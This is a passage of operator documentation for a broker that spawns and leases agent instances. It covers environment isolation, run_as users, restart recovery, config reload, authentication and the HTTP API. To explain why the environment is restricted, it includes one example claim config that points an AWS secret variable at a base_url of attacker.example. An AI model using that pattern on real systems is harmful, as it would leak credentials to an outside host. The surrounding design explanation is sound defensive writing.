A variant can extend a spawn, never redirect it. args are appended after the broker’s own -config / -recall arguments, so an entry can add flags but cannot displace the contract the instance protocol depends on. env is merged over whatever the spawn inherited from the broker, but the three NEXUS_BROKER_* dial-back variables are applied last and always win — an entry cannot point an instance at a different broker, hand it another lease id, or supply its own spawn secret.

What environment an instance is given

A spawned instance does not inherit the broker’s environment. It is built from nothing, in this order (later wins, since exec resolves a duplicated key to its last occurrence):

#SourceContents
1Always-passHOME, LANG, PATH, TZ, taken from the broker regardless of config
2inherit_envEach name it lists, taken from the broker — skipped if the broker does not hold it
3The entry’s envSet outright, in sorted key order
4Broker-ownedNEXUS_BROKER_ADDR, NEXUS_BROKER_LEASE_ID, NEXUS_BROKER_SPAWN_SECRET

The reason is not tidiness. A claim supplies the whole engine config, and a Nexus provider resolves its credential from an environment variable that config names (api_key_env and its equivalents) while the same config sets base_url. Anything an instance holds is therefore readable and postable anywhere by whoever claimed the lease:

# a claim body's `config`
core:
  models:
    default:
      provider: openai
      api_key_env: AWS_SECRET_ACCESS_KEY    # any variable the process holds
      base_url: https://attacker.example    # where its value gets sent

An allowlist of known provider key names cannot close that, because the caller picks the name. Only reducing the environment to what the operator declared bounds it.

HOME and PATH are in the always-pass set for reasons that have nothing to do with credentials: HOME resolves ~/.nexus, so without it an instance cannot create a session directory and -recall has nothing to resume, and PATH is what makes exec and the shell tool work at all.

# broker.yaml
inherit_env:                 # names only — the values come from the broker's own env
  - ANTHROPIC_API_KEY
  - OPENAI_API_KEY

Use inherit_env when the value lives in the broker’s environment (injected by systemd, Kubernetes, or a secrets agent) and a variant’s env when the value is a property of the variant. A claim’s config can still carry a credential inline, in which case neither key is involved.

At boot the broker names, per registry entry, exactly what that entry’s spawns will carry — names only, never values:

level=INFO msg="binary registry entry" name=vision path=/opt/builds/nexus-vision \
  resolved_path=/opt/builds/nexus-vision \
  spawn_env=ANTHROPIC_API_KEY,HOME,LANG,NEXUS_BROKER_ADDR,NEXUS_BROKER_LEASE_ID,NEXUS_BROKER_SPAWN_SECRET,NEXUS_VISION,PATH,TZ

The line reports what will be carried, not what was declared, so a name missing from it was never in the broker’s own environment. Those are also collected into one startup WARN naming them.

Migrating: instances no longer inherit the broker’s environment

This is a breaking change. A broker that was started with ANTHROPIC_API_KEY exported into its shell used to pass it to every instance it spawned. It no longer does, and an instance whose config expects to read it will fail to reach a provider on its first turn.

To migrate, take each variable your instances rely on and put it in one of two places:

  • it lives in the broker’s environment → add its name to inherit_env;
  • it is a property of one variant → set it under that entry’s env.
# before — worked only because the broker's whole environment was inherited
binaries:
  nexus:
    path: /usr/local/bin/nexus

# after
inherit_env:
  - ANTHROPIC_API_KEY
  - OPENAI_API_KEY
binaries:
  nexus:
    path: /usr/local/bin/nexus

Two things make the break loud rather than silent. The per-entry boot line above lists everything a spawn will carry, so a variable you expected and do not see is visible at startup rather than at the first turn; and a name you declared that the broker does not actually hold is called out in its own startup WARN.

There is no opt-out and no compatibility flag. inherit_env: ["*"] is not supported — a wildcard would restore exactly the exfiltration primitive above, and the caller’s ability to name any variable is what makes “just the risky ones” an impossible line to draw. The symptom, the diagnosis and this edit are also listed beside the other breaking change under Upgrading an existing broker.

Which entry ran a session is remembered, so a resume re-uses it instead of falling back to nexus, and a resume that names a different variant is refused with a 409. That check is best-effort, with limits worth knowing before you depend on it — see A resume re-uses the binary that created the session.

Full resolution rules and the boot-failure messages are in Binary resolution.

Migrating from nexus_binary_path

Nothing to do. nexus_binary_path still works and existing deployments boot unchanged — it is deprecated, not removed:

Your broker.yamlWhat happens
Neither keynexus is synthesized with path nexus; unchanged zero-config behaviour.
nexus_binary_path onlyIts value becomes binaries.nexus.path, and the broker logs one WARN naming the replacement key.
binaries.nexus onlyTaken as written. This is the form to move to.
BothBoot failure naming both keys.

Setting both is refused rather than resolved by precedence: whichever rule the broker picked, half of the operators who hit it would silently spawn the binary they did not mean, and the mistake would only ever surface as instances behaving oddly. Setting nexus_binary_path: "" is likewise a boot error, not a silent fallback — remove the key to take the default.

Migrating is a mechanical rewrite:

# before
nexus_binary_path: "/usr/local/bin/nexus"

# after
binaries:
  nexus:
    path: "/usr/local/bin/nexus"

What the registry deliberately does not do

  • No per-binary authentication or scoping. auth: gates routes, not entries. Any caller allowed to claim may name any registered entry, and GET /binaries shows every entry to every caller.
  • No per-binary capacity. max_concurrent is one global cap across every variant; there is no per-entry limit or reservation.
  • No broker-side default configs. A claim still supplies the whole engine config as YAML text. An entry contributes args and env, never config content.
  • No per-entry environment pass-through. inherit_env is broker-level: it answers “which of the things this broker was started with may leave the process”, which does not vary by variant. A value that is per-variant belongs in that entry’s env.

The registry is hot-reloadable — adding, changing or removing an entry takes a SIGHUP, not a restart. See Changing config without a restart.

Running instances as another user: run_as

By default a claimed instance runs as the broker’s own user, with the broker’s HOME. Two claims are two processes, but they are not two principals: either one can read the other’s session directory under ~/.nexus/sessions/, and either can read <state_dir>/spawn-key — which is enough to derive any live lease’s dial-back secret and impersonate its instance.

run_as drops each spawn to a uid and gid you choose. It is declared per registry entry, with a broker-level default, because the separation that matters is between variants:

# broker.yaml
run_as:                          # default for entries that declare none
  uid: 1500
  gid: 1500

binaries:
  vision:
    path: /opt/builds/nexus-vision
    run_as:                      # replaces the default outright — never merged
      uid: 1501
      gid: 1501

  support:
    path: /opt/builds/nexus-support
    run_as:
      uid: 1502
      gid: 1502
    env:
      HOME: /var/lib/nexus/support    # keep this variant's state off a home dir

Both uid and gid are required whenever the block is written: a uid alone leaves instances in the broker’s primary group, which looks like a boundary in the config and is not one on disk. Ids are numeric, not names — a name resolves against a passwd database a hardened container may not carry, and can mean different users on two hosts. Every mistake is a boot failure naming the entry and the value, like the rest of the registry.

HOME follows the credential. HOME is what resolves ~/.nexus, so an instance running as another uid while still pointed at the broker’s home cannot create its session directory and the claim fails at its first write. The broker resolves the run_as user’s home from the passwd database at boot and hands the spawn that HOME. Set env.HOME on the entry to put that variant’s state somewhere else — a data dir under /var/lib, say — and that value wins.

Where a run_as instance’s sessions live. In <that HOME>/.nexus/sessions/. So sessions are consistent per registry entry: two entries under different credentials keep their sessions in different trees, and one entry’s instances all share one. Resumes stay correct because a session already records the entry that created it and a resume naming a different entry is refused with a 409 — see A resume re-uses the binary that created the session — so a session is never replayed under an entry whose HOME would not contain it.

The broker must be privileged. Setting a child’s credentials — including the setgroups(0, NULL) that drops the broker’s supplementary groups — requires root, or CAP_SETUID and CAP_SETGID on Linux, even when the uid you name is the broker’s own. A broker that configures run_as without it logs one WARN at boot and fails every claim that selects such an entry at spawn — an immediate 500 spawning instance with the refused credential in the broker log, not a claim that hangs until the ready timeout.

The boot log names each entry’s credential and the home its sessions will live under, beside the path and spawn environment:

level=INFO msg="binary registry entry" name=vision path=/opt/builds/nexus-vision \
  resolved_path=/opt/builds/nexus-vision spawn_env=… run_as=1501:1501 run_as_home=/home/nexus-vision

What run_as does and does not buy

It buys one thing, and it is the thing the default lacks: instances run as a different user from the broker and from each other’s variant, so the OS — not the broker’s own bookkeeping — is what stops one from reading another’s sessions or the broker’s spawn-key.

It does not:

  • sandbox the filesystem, restrict the network, or cap CPU and memory. A claim still supplies the whole engine config, and the shell and file tools still run with everything that uid can reach;
  • separate two instances of the same entry from each other — they share a credential and a session tree;
  • protect an instance from the caller who claimed it. That caller chose its config and drives its tools.

Grant each run_as user only what its instances need, and keep the broker’s state_dir unreadable to them (it is 0700, owned by the broker’s user).

Behind a proxy: set advertise_addr

A lease is in-memory state on one broker process, so the ws_url a claim returns has to name that process. With a wildcard bind and no advertise_addr, the broker can only guess — it derives the host from the claim request’s Host header.

That is the failure this key prevents. Behind a reverse proxy or load balancer the Host header names the intermediary, so the returned ws_url points at the load balancer rather than at the broker holding the lease. The client then reconnects through the LB, lands on whichever broker it picks, and is told 404 unknown lease — by a broker that is working perfectly and simply does not have that lease. Set advertise_addr to the address clients actually use to reach this broker:

listen_addr: ":8080"                              # bind wide
advertise_addr: "wss://broker-1.example.com"      # tell clients where THIS broker is

A bare host:port keeps the ws:// scheme; the scheme-qualified form is for a TLS-terminating proxy. Malformed values (no port, a wildcard host, a path) fail startup, and the wildcard-bind-without-advertise_addr shape logs a WARN at boot. A directly-reachable broker can leave the key empty. Full precedence table: ws_url resolution.

A wss:// or https:// advertise_addr also logs a WARN at boot — the broker has no TLS listener and always serves cleartext, so it is announcing a scheme it does not itself terminate. Behind a TLS-terminating proxy that warning is expected and correct: the proxy serves wss:// to clients and forwards cleartext to the broker, which is exactly the deployment above. The broker cannot see whether such a proxy is in front of it, which is why this is a warning and never a boot refusal — refusing would break the supported configuration. Treat it as a misconfiguration only if nothing terminates TLS ahead of the broker, in which case clients dialing wss:// will fail to connect. To silence it on a directly-reachable broker, advertise the scheme it actually serves (ws://, or a bare host:port).

Surviving a restart: set state_dir

Lease state — which instances this broker spawned, who claimed them, and what session each is running — lives in memory by default, so a restart loses it and the spawned nexus processes become orphans nobody can account for. Point state_dir at a directory and the broker journals every lease transition to <state_dir>/leases.jsonl, and reclaims its running instances when it comes back:

state_dir: "~/.nexus/broker"     # per-broker; never share one dir between brokers
broker_id: ""                    # optional name; generated and persisted when empty
reattach_window: 60s             # bound on how long a restored lease waits for its instance

A record is appended when a lease is minted, when its pid and session id first become known, and when it is torn down — including on idle sweep and crash, not just a manual POST /release. Records carry the lease id, the claiming principal, the session id, the binaries entry name the instance was spawned from, the pid, and this broker’s broker_id / advertise_addr. No secret is ever written: not the per-spawn secret, not a WebSocket ticket, not a bearer token.

The durable session → binary mapping lives in its own file beside the journal, <state_dir>/session-binaries.jsonl, and not in the journal itself. The journal is compacted down to live leases, and a resume always arrives after the original lease was released, so a binding kept only there would be gone exactly when it is wanted. A line is written at claim time for a resume and on the session-id report for a new session; the file is capped at 4096 bindings, oldest dropped first, and rewritten on open and every 256 appends.

It is best-effort by design: an unknown session means no opinion, proceed, never a mismatch. A session that predates the file, one whose binding was pruned, and a broker with no state_dir all resume exactly as they did before it existed. A corrupt or torn index is skipped line by line and never prevents the broker from booting — an index that cannot be opened at all only logs a WARN and turns the mapping off. See Session → binary index.

The durable A2A context → session mapping lives in a third file, <state_dir>/a2a-contexts.jsonl, written only when the broker has an agents: block. It is what lets a message on a contextId whose instance has stopped resume the conversation after a restart rather than starting a new one, and it follows the session → binary index in every respect: separate from the journal for the same reason, capped at 4096 bindings with the oldest dropped first, rewritten on open and every 256 appends, tolerant of a torn trailing record, and never a boot failure — an index that cannot be opened logs a WARN and continuity falls back to the life of the process. See Conversation lifecycle.

The journal is compacted on open and every 512 appends, so it holds roughly the live lease set rather than the whole history. A write that fails is logged and never fails the claim or release that produced it, and a record torn by a kill -9 is skipped with a warning instead of failing the file.

The journal survives host death, not just process death. Every append is fsynced before it returns, and compaction’s rewrite fsyncs the temp file before the rename and the directory after it, so a power loss or a hard reset cannot lose the tail of the journal or swap a full live set for an empty one. This matters because the tail is where the record carrying an instance’s pid lives: lose it and the next boot sees a lease with no pid, closes it out, and the still-running instance becomes exactly the orphan the journal exists to prevent.

The cost is negligible and was measured against the record volume, not guessed at: a lease writes roughly three journal records over its whole lifetime — minted, pid-and-session recorded, released — so a busy broker is paying single-digit fsyncs per lease, not per message or per turn. The barrier is unconditional rather than applied only to the pid-bearing record: the saving would be about two fsyncs per lease, and “which record matters” is a rule a later change can quietly break. An fsync that fails follows the same policy as a write that fails — it is logged, and it never fails the claim or the release that produced it.

The two auxiliary indexes are deliberately not fsynced. session-binaries.jsonl and a2a-contexts.jsonl are best-effort by design: an unknown session or context means no opinion, proceed, so losing their tail to a host crash degrades to the behaviour those files were introduced to improve on, never to a wrong answer. The lease journal is the only one of the three whose worst case — an unaccounted-for running process — cannot be repaired after the fact, so it is the only one that pays for a barrier.

Leave state_dir empty and the broker behaves exactly as it always has, logging one WARN at startup to say lease state is in-memory only. This is about lease bookkeeping, not sessions: an instance’s session under ~/.nexus/sessions/<id>/ is persisted and -recall-able either way.

What a restart actually does

Instances survive the broker’s own exit because each one leads its own process group: a Ctrl-C in the broker’s terminal signals the broker’s group, not the instances’, so the processes recovery expects to adopt are still there when it comes back. (That process group is also what makes a release take the instance’s subprocesses with it — see POST /release/{lease_id}.)

At boot — before any route is served — the broker replays the journal and, for each lease that was live when it stopped:

  • The pid is still alive → the lease is restored, with its original owner, session id and creation time, and it re-takes its capacity slot so max_concurrent stays honest.
  • The pid is gone, or the lease never got a process → the record is closed out and forgotten.
  • The record belongs to another broker_id → it is left completely alone. Nothing is adopted and nothing is killed.

A restored lease shows as spawning in GET /leases and is not yet usable. Meanwhile the surviving instance’s nexus.io.broker transport is already reconnecting with exponential backoff, so it re-dials /instance on its own — no instance-side configuration and no client action are involved. When it does, and it presents the right lease id and the right spawn secret, the lease goes active and existing clients can reconnect to the same ws_url and carry on.

A live pid is not proof of identity, which is why a restored lease is not handed to whoever dials in naming it: the recorded pid may have been recycled to an unrelated process while the broker was down, and the portable liveness probe cannot tell. The spawn secret is what settles it — and it is required on every registration, restored or not, authenticated broker or not.

The secret survives the restart without ever being written down: it is derived as HMAC-SHA256(<state_dir>/spawn-key, lease_id) rather than randomly minted, so the restarted broker recomputes exactly what the running instance is still holding. spawn-key is 32 random bytes, mode 0600, created on first boot. It is a key, not a credential — presenting it to /instance authenticates nothing — and losing or rotating it is safe: derived secrets simply stop matching, and the affected leases are reaped rather than reattached.

Nothing waits forever. A restored lease that no instance reconnects to within reattach_window (default 60s) is reaped through the ordinary release path: the process group is signalled (SIGTERM, escalating to SIGKILL), so the instance and everything it started go together, the slot is freed, and the record is closed out. Setting reattach_window to 0 does not disable this — it falls back to the default, because an unbounded wait is the orphan the feature exists to remove.

For the per-record detail, the exact reasons written to the journal, and the full trade-off discussion around the derivation key, see Restart recovery.

Health check

curl -s http://localhost:8080/healthz
# {"status":"ok"}

Changing config without a restart: SIGHUP

A restart is the single event that costs every lease whose instance fails to reattach within reattach_window. So the two things an operator most often needs to change — the binaries: registry and the agents: profiles — do not need one. Send the running broker a SIGHUP and it re-reads its config file:

# add a variant to broker.yaml, then:
kill -HUP "$(pgrep -f nexus-broker)"
level=INFO msg="SIGHUP received, reloading config" path=broker.yaml
level=INFO msg="config reload applied" path=broker.yaml changed=binaries binaries=3 agents=1 ...

The reload is validate-then-swap, and it is atomic. The file goes through exactly the loader the boot path uses, so anything that would have failed startup fails the reload — a binary that is missing or not executable, a profile whose config file does not resolve, an Agent Card missing a required field. Every Agent Card is re-rendered before anything is published, and then the whole configuration — the binary registry, the GET /binaries listing and every card — is swapped in one step. A reload that fails at any point leaves the previous configuration entirely in force and says why:

level=ERROR msg="config reload rejected; the configuration already in force is unchanged" path=broker.yaml error="broker config: binaries: vision: path ... is not executable"

There is no half-applied state, and no request can ever see one profile’s identity under another’s name.

SIGHUP is the only trigger. There is no POST /reload: admin_scope is a visibility-only capability, and a mutating admin route would be the first exception to that rule.

What a reload does not touch

Live leases. A reload changes what the next claim can spawn. It never signals, kills or re-binds a running instance — including one whose binaries: entry was just removed. The lease records the entry name, the process is already running, and a later resume against a name this broker no longer offers is refused by the existing 409.

Boot-only keys. listen_addr, advertise_addr, state_dir, broker_id, reattach_window, client_replay_buffer_bytes, the queue and per-principal admission caps, a2a.tasks: and the whole auth: block are read at boot and only at boot. A reloaded file that changes one of them is reported and ignored:

level=WARN msg="config reload: these keys changed in the file but are only read at boot, so the values in force are unchanged; restart the broker to apply them" keys=listen_addr,auth

The reloadable keys in the same file still apply — a boot-only change is not a reason to refuse everything around it.

auth: is the one worth understanding rather than just obeying. The jwks validator holds a live kid cache with rate-limited fetches, and two of this broker’s documented guarantees rest on that cache surviving: key rotation needs no restart, and an unreachable issuer never turns into an allow. Rebuilding the validator chain would discard it, so a reload performed during an IdP outage would turn a working broker into one that denies every JWT — an outage caused by the very mechanism meant to avoid one. Credential changes are a restart.

Turning the A2A ingress on. A broker that booted with no agents: block registered no A2A routes at all, and opened neither the context index nor the durable task store. A reload therefore cannot switch the ingress on; that change is reported and ignored like any other boot-only one. Adding, changing and removing profiles on a broker that already serves at least one all work, and removing the last profile is allowed — the routes then answer 404 unknown agent profile.

Capacity, in one direction. Raising max_concurrent immediately admits claims already parked in the capacity queue. Lowering it never evicts anything: a lease is a running process, and a config edit must not destroy live work. The broker sits over its cap and admits nothing new until it drains back under, which is the same policy restart recovery already applies.

The per-key table is in Reloadable keys (SIGHUP).

Authentication

An absent auth: block means authentication is disabled, and every route behaves exactly as it did before authentication existed. That is the default for an upgrading deployment, and the broker says so once at boot:

WARN client authentication is DISABLED: broker config has no auth block, so any
     caller that can reach this broker can claim, release and list leases

Opting in means adding an auth: block to broker.yaml. A malformed block is a boot failure naming the offending key — it never falls back to disabled, and unknown keys are rejected at every level.

“Disabled” is about clients. The instance dial-back on WS /instance is a separate mechanism that this block does not govern in either direction: it always requires the per-spawn secret.

What the block protects

RouteWith auth: configured
POST /claim, POST /release/{lease_id}, POST /ticket/{lease_id}, GET /leases, GET /binariesMiddleware validates the credential before the handler runs. A refused claim spawns nothing.
GET /metricsThe same middleware, plus auth.admin_scope on top of it. A valid credential without that scope gets 403. See GET /metrics.
WS /lease/{lease_id}The same validator chain, resolved by the handler itself so it can also accept a single-use ?ticket= (see the ticket flow).
WS /instance (the dial-back)Not covered by this block at all. It is not a client route: a spawned instance proves itself with its per-spawn secret, which is required whether or not auth: is configured.
GET /healthzNever authenticated. A load balancer or container probe has no credential to present, and liveness leaks nothing.

The four validators

The auth.validators list is ordered, and the first validator that accepts wins — so put the cheap ones first.

typeVerifiesKey settings
staticA table of shared bearer tokens, compared in constant timetokens[], each with token + principal
jwksAn OIDC JWT, against the signing keys the issuer publishesissuer, jwks_url, audience, principal_claim
introspectAn opaque token, by asking the issuer (RFC 7662)introspection_url, client_id, a client secret, principal_claim
proxy_headersAn identity a fronting authenticating proxy already establishedtrusted_proxy_cidrs, principal_header

A worked example: a shared token for CI, and OIDC access tokens for everyone else. It is deliberately vendor-neutral — the broker is generic OIDC with no provider-specific defaults, so every value below comes from your own issuer.

# broker.yaml
listen_addr: ":8080"
advertise_addr: "wss://broker-1.example.com"

auth:
  admin_scope: "nexus.broker.admin"    # scope that unlocks the operator view of GET /leases
  validators:
    # Tried first: no network round trip.
    - type: static
      tokens:
        - token: "replace-me"
          principal: "ci-runner"
          tenant: "acme"
          scopes: "nexus.broker.admin"   # whitespace-separated, or a YAML list

    # Everyone else presents an OIDC access token.
    - type: jwks
      issuer: "https://id.example.com/"                        # exact `iss` value
      jwks_url: "https://id.example.com/.well-known/jwks.json"  # explicit; no discovery
      audience: "nexus-broker"                                  # or a list
      algorithms: ["RS256"]
      principal_claim: sub                                      # required
      tenant_claim: org_id
      scopes_claim: scope

Four things worth knowing before you deploy that:

  • principal_claim is required and has no default guess. Lease ownership is principal-ID equality, so silently defaulting to sub for an issuer that mints a different stable identifier would bind ownership to the wrong field. A token whose mapped claim is absent, empty, or not a scalar is rejected.
  • There is no OIDC discovery, on purpose — jwks_url is configured explicitly. For an issuer that documents only its discovery URL, read the value out once by hand:
    curl -s https://id.example.com/.well-known/openid-configuration | jq -r .jwks_uri
    
  • Key rotation needs no restart, and an unreachable issuer never turns into an allow: a kid already in the cache keeps verifying, a kid that is not cached is denied.
  • Secrets follow one convention: <key> holds the literal value, <key>_env holds the name of an environment variable to read it from — so client_secret_env: "NEXUS_BROKER_INTROSPECTION_SECRET" keeps the introspect client secret out of the file. Setting both is a boot error, not a precedence rule. A broker.yaml carrying static tokens or an inline client_secret is itself a secret: restrict its permissions.

An introspect validator that cannot reach its endpoint answers 503 with a Retry-After header, not 401. “We could not find out” is not a statement about your token, and telling every client at once to re-authenticate against an identity provider that is already failing would make an outage worse. It is still a refusal: no lease is claimed and nothing is released.

Every key, default and validation rule is in the authoritative Authentication reference.

proxy_headers needs a CIDR allowlist

type: proxy_headers makes the broker’s original deployment story — “put your own authenticating proxy in front of it” — first-class: the proxy authenticates the user and passes the identity down in a header.

⚠️ A wrong trusted_proxy_cidrs turns this validator into an open door. A header is not a credential. Anyone who can open a TCP connection to listen_addr can send X-Forwarded-User: <anybody> — no signature, no expiry, nothing to verify. The CIDR allowlist is the entire security model.

  • Never write 0.0.0.0/0 or ::/0. That is not “allow the ingress”, it is “let every caller on the network name themselves”.
  • List the proxy’s own address, not the client’s — the allowlist is matched against the peer that opened the connection, and X-Forwarded-For is never read.
  • Do not point it at a network you share with anything else. A 10.0.0.0/8 that also holds other workloads means any of them can impersonate any broker user. Prefer the proxy’s /32 (or /128).
  • Bind the broker where only the proxy can reach it, so the CIDR check is a second line of defence rather than the only one.
  • If some callers arrive directly, chain a token validator after this one — do not widen the CIDR to accommodate them.
auth:
  validators:
    - type: proxy_headers
      trusted_proxy_cidrs: ["10.4.0.0/16"]   # required; an empty list fails the boot
      principal_header: X-Forwarded-User     # required; no default is right for everyone
      tenant_header: X-Auth-Request-Org
      scopes_header: X-Forwarded-Groups
    - type: jwks                             # direct callers still need a real token
      issuer: "https://id.example.com/"
      jwks_url: "https://id.example.com/.well-known/jwks.json"
      audience: "nexus-broker"
      principal_claim: sub

Who may touch a lease

Every lease records the principal that claimed it. Authorization is that ownership, plus one read-only admin scope — there are no roles and no policy engine.

  • POST /release/{lease_id}, WS /lease/{lease_id} and POST /ticket/{lease_id} require the caller’s principal ID to equal the owner’s. It is checked before anything happens: a refused release sends no shutdown frame and frees no slot, and a refused connect never reaches 101.
  • A lease that is not yours answers exactly like a lease that never existed404 {"error":"unknown lease"}, byte for byte — so live lease ids cannot be enumerated by differencing responses.
  • GET /leases is filtered, not refused. A non-operator sees only its own leases, and the capacity aggregates are omitted rather than zeroed (treat a missing max_concurrent as “not disclosed”, never as 0).
  • auth.admin_scope (default nexus.broker.admin) unlocks the whole-registry view of GET /leases. It grants visibility only — there is no admin bypass on release or connect, so a leaked operator credential cannot tear down or hijack another principal’s session. Set it to "" to mean nobody is an operator.
  • The broker’s own teardown paths — the idle_timeout sweeper and crash detection — act with no principal at all and bypass ownership entirely.

With no auth: block, the caller and every lease owner are the same anonymous identity, so nothing is refused and nothing is filtered.

Connecting: the ticket flow

Browser JavaScript cannot set headers on a WebSocket handshake, so the bearer token a claim was made with can never reach WS /lease/{lease_id} from a browser. A ticket is the one credential the broker itself mints. End to end:

  1. Claim with your credential. POST /claim returns ws_url and ticket — the ticket key is present only when the broker is configured with an auth: block.
  2. Connect with it: ws_url + "?ticket=" + ticket.
  3. It is single-use and lives 30 seconds, and the TTL is a constant rather than a config key: the value travels in a URL, so it lands in proxy access logs and browser history, and the tight window plus single use are the whole mitigation for that.
  4. Reconnecting needs a fresh one. POST /ticket/{lease_id}, authenticated with the credential the lease was claimed with, mints a replacement. Do not re-claim: that spawns a new instance and abandons the live session. Send the fresh ticket together with ?from_seq= so the broker also replays what the socket missed — the full recipe is below.
  5. Non-browser clients can skip tickets entirely and send Authorization: Bearer <token> on the handshake instead — the same token the lease was claimed with.

Reconnecting and resuming a stream

A dropped socket is not a lost session: the lease, the instance and the replay buffer all survive it. The whole reconnect, end to end:

  1. Remember the last seq you received. Every client-bound frame carries one. Keep the highest.
  2. Do not re-claim. POST /claim spawns a new instance and abandons the live session. The lease id you already hold is still the right one.
  3. Mint a fresh ticket with POST /ticket/{lease_id}, authenticated with the credential the lease was claimed with — the original ticket burned on the first connect and lives only 30 seconds anyway. A client that can set headers can skip this and send Authorization: Bearer <token> instead.
  4. Reconnect with both parameters: ws_url + "?ticket=" + encodeURIComponent(ticket) + "&from_seq=" + lastSeq. They compose freely and in any order; ?from_seq= is not a credential and changes nothing about how the ticket is judged.
  5. Handle the two possible openings. Either the buffer covered you — the frames you missed arrive first, in order, followed by the live stream — or it did not, and the socket opens with a stream-gap frame naming what is gone. A gap is a normal outcome, not an error: it is what a long disconnection or a chatty agent produces against a bounded buffer, and a client that does not handle it is a client that will render a hole as if it were continuous prose. See when the buffer cannot cover you.
  6. Do not wait for the old socket to die first. A reconnect displaces whatever connection the lease still has — including a half-open one the broker has not noticed yet — and closes it with code 4501. That is the supported path, not a race you have to avoid; what you must not do is keep both sockets open. See one client per lease.
// lastSeq is tracked by the message handler: ws.onmessage = e => {
//   const f = JSON.parse(e.data); if (f.seq) lastSeq = f.seq; ... }
const { ticket } = await (await fetch(
  `http://localhost:8080/ticket/${lease_id}`, { method: "POST", headers: auth })).json();

const params = new URLSearchParams({ from_seq: String(lastSeq) });
if (ticket) params.set("ticket", ticket);   // absent when the broker has no auth: block
const ws = new WebSocket(`${ws_url}?${params}`);

Omitting ?from_seq= connects to the live stream only, exactly as a first connect does — and so does a value the broker cannot parse. A malformed from_seq is treated as absent rather than refused, so a bug in building the URL costs you the replay and not the session.

A non-empty ?ticket= wins exclusively: when both are presented the Authorization header is not consulted at all, and a ticket failure is final rather than falling back to the header. Send one credential, or mint a fresh ticket. Every way a ticket can fail — unknown, expired, already redeemed, minted for another lease — answers identically with 401 {"error":"credential rejected"}.

Tickets are in-memory only, so they do not survive a broker restart, and every ticket for a lease is destroyed the moment the lease goes away.

The instance dial-back secret

The dial-back is not covered by the auth: block, and never was in the sense that matters: auth: says how clients are verified, while WS /instance is where a process the broker started proves it is that process.

An instance’s register frame must carry a known lease_id and the per-spawn secret the broker injected into its environment at exec. This is unconditional — with an auth: block or without one, on a freshly claimed lease or one restored after a restart. The secret is never logged, never returned by GET /leases, and never passed in argv. The instance side needs no configuration — the nexus.io.broker plugin reads NEXUS_BROKER_SPAWN_SECRET from the environment the broker set.

Why it cannot be optional. The only other thing the dial-back could authenticate with is the lease id, and a lease id is not a secret: it travels in the ws_url handed to every client, in client requests, and in logs. Anything that observed one could dial /instance, register as that lease’s instance the moment the real socket dropped, and be handed the client’s session. Making the check conditional on an unrelated block meant the documented default deployment ran with that hole open.

Breaking change. Enforcement used to be gated on having an auth: block, so a broker without one admitted any register frame naming a live lease — including one carrying no secret at all. It no longer does. A nexus build that predates the spawn-secret protocol now fails to register on every broker, and removing the auth: block is no longer a way to make it work. The fix is to upgrade the binary the registry entry points at. The check is per spawn, so one stale variant fails while the rest of the registry keeps working. See Upgrading an existing broker for the edit.

Every refusal looks the same on the wire. An unknown lease, an absent secret, a wrong secret and a version-skewed frame all close with the same unknown lease policy-violation close. That is deliberate: a dialer that could tell “no such lease” from “that lease exists and you got its secret wrong” could enumerate live lease ids by differencing the two. The log is the only place the causes are distinguished, and each one names its own fix:

Log recordWhat happenedFix
…: its register frame declares a broker frame schema version this broker does not speakThe instance binary and the broker binary are different builds of the frame protocol.Upgrade whichever is older so both speak the same version.
…: its register frame carried NO spawn secretThe instance binary predates the spawn-secret protocol.Upgrade the binary that registry entry points at.
…: its register frame carried the WRONG spawn secretThis broker did not spawn the process that dialed back.Investigate: something is impersonating an instance, or a stale instance is dialing a broker that was restarted without its state_dir.
rejecting instance registration (no specific cause)The lease id is unknown, or the lease already has an instance attached.Usually a late reconnect from a released lease; harmless.

All four are WARN, and none of them ever contains a secret value. The diagnostics matter because the symptom is identical and misleading: the claim sits there until it fails with 504 instance did not become ready in time while the child process is alive and connecting fine.

A 504 with none of those records is the other shape of the same symptom: the instance is simply still booting. Engine construction runs every plugin’s Init and Ready, so a config that pulls a long model list, warms a vector store or dials several MCP servers can legitimately outlast the 30s default. Raise ready_timeout rather than trimming the profile; it must be positive, and a non-positive or unparseable value fails the boot naming the key.

HTTP API

All control-plane calls are plain HTTP/JSON. Whether they need a credential depends on the auth: block: with one configured, every route below requires one (GET /healthz does not); with it absent, none of them do. GET /metrics is the one route that asks for more than a valid credential — it also requires auth.admin_scope.

POST /claim — claim an instance

Body:

{
  "config": "engine:\n  name: example\n",  // required: full nexus config (YAML text)
  "session_id": "prior-session-id",         // optional: resume a persisted session
  "binary": "vision"                        // optional: which `binaries:` entry to spawn
}

Success (200):

{
  "lease_id": "…",                          // handle for this instance
  "ws_url": "ws://host:port/lease/<lease>",  // client WebSocket endpoint
  "session_id": "…",                         // engine session id (see new-vs-resume below)
  "ticket": "…"                              // single-use, 30s WebSocket credential;
                                             // present only when `auth:` is configured
}
curl -s -X POST http://localhost:8080/claim \
  -H 'Content-Type: application/json' \
  -H 'Authorization: Bearer <token>' \
  -d '{"config":"engine:\n  name: example\n"}'

The Authorization header is required when the broker is configured with an auth: block and ignored when it is not. The principal it resolves to becomes the lease’s owner, and only that principal can release, connect to, or mint a ticket for the lease.

Error responses:

ConditionStatusBody
Missing/empty config400{"error":"claim requires a non-empty config"}
Unknown binary name400{"error":"unknown binary \"…\"; this broker spawns: …"}
Resume whose binary differs from the one recorded for the session409{"error":"session \"…\" was created by binary \"…\" but this claim requests \"…\"; …"}
Resume whose recorded binary is no longer in binaries:409{"error":"session \"…\" was created by binary \"…\", which this broker no longer offers; …"}
Over capacity, queue wait elapsed503{"error":"capacity wait timed out"}
At capacity, queueing disabled (queue_wait_timeout <= 0)503{"error":"no capacity"}
At capacity and the wait queue is already max_queue_depth deep503{"error":"capacity queue full"}
This principal already holds max_leases_per_principal live leases429{"error":"lease limit reached for this principal"}
This principal already has max_queued_per_principal claims queued429{"error":"queued claim limit reached for this principal"}
Instance exited before ready (e.g. resume of a missing/invalid session)502{"error":"instance exited before signalling ready"}
Instance did not become ready within the boot window504{"error":"instance did not become ready in time"}

Choosing a binary

binary names an entry of the broker’s binary registry:

# spawn the "vision" variant
curl -s -X POST http://localhost:8080/claim \
  -H 'Content-Type: application/json' \
  -d '{"config":"engine:\n  name: example\n","binary":"vision"}'

# omit `binary` and the claim spawns the reserved `nexus` entry
curl -s -X POST http://localhost:8080/claim \
  -H 'Content-Type: application/json' \
  -d '{"config":"engine:\n  name: example\n"}'

